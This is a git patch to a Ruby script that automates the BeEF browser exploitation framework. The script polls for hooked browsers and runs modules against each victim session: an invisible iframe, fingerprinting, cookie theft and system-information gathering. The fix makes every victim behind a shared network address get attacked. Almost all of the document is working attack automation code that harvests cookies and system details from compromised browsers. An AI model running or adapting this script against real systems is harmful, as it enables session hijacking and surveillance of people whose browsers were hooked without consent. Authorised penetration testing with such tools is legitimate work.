From d640995db167008372aa824d37782c4dd0a1e1e2 Mon Sep 17 00:00:00 2001 From: zgrace Date: Sun, 1 Sep 2013 12:12:00 -0500 Subject: [PATCH] Bug fix where different clients emanating from the same egress point were not getting processed. --- autorun.rb | 27 ++++++++++----------------- 1 file changed, 10 insertions(+), 17 deletions(-) diff --git a/autorun.rb b/autorun.rb index 6150895..fb784ee 100755 --- a/autorun.rb +++ b/autorun.rb @@ -33,13 +33,10 @@ BEEF_PASSWD = "beef" @autorun_mods = [ - { 'Invisible_iframe' => {'target' => 'http://192.168.50.52/' }}, + { 'Invisible_iframe' => {'target' => 'http://192.168.50.52/' }}, { 'Browser_fingerprinting' => {}}, { 'Get_cookie' => {}}, - { 'Get_system_info' => {}} - - ] -@ses_cache = {} + { 'Get_system_info' => {}}] def login response = RestClient.post "#{RESTAPI_ADMIN}/login", @@ -54,11 +51,6 @@ def get_alive response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @token}} result = JSON.parse(response.body) @hooks = result["hooked-browsers"]["online"] - @alive_ips = [] - @hooks.each do |hook| - @alive_ips << hook[1]['ip'] - @ses_cache[hook[1]['ip']] = hook[1]['session'] - end end def get_mod_cache @@ -85,21 +77,22 @@ def send_mod(mod, ses,opts) login get_mod_cache -processed_ips = [] +processed_sessions = [] while true do get_alive - @alive_ips.each do |ip| - next if processed_ips.include? ip - print "[*] Running autorun mods against #{ip}\n" + @hooks.each do |hook| + ip = hook[1]['ip'] + session = hook[1]['session'] + next if processed_sessions.include? session + print "[*] Running autorun mods against #{ip}:#{session}\n" @autorun_mods.each do |modinfo| modinfo.each do |mod,opts| mid = @mod_cache[mod][:id] - ses = @ses_cache[ip] - res = send_mod(mid,ses,opts) + res = send_mod(mid,session,opts) print res.to_json + "\n" end end - processed_ips << ip + processed_sessions << session end sleep 5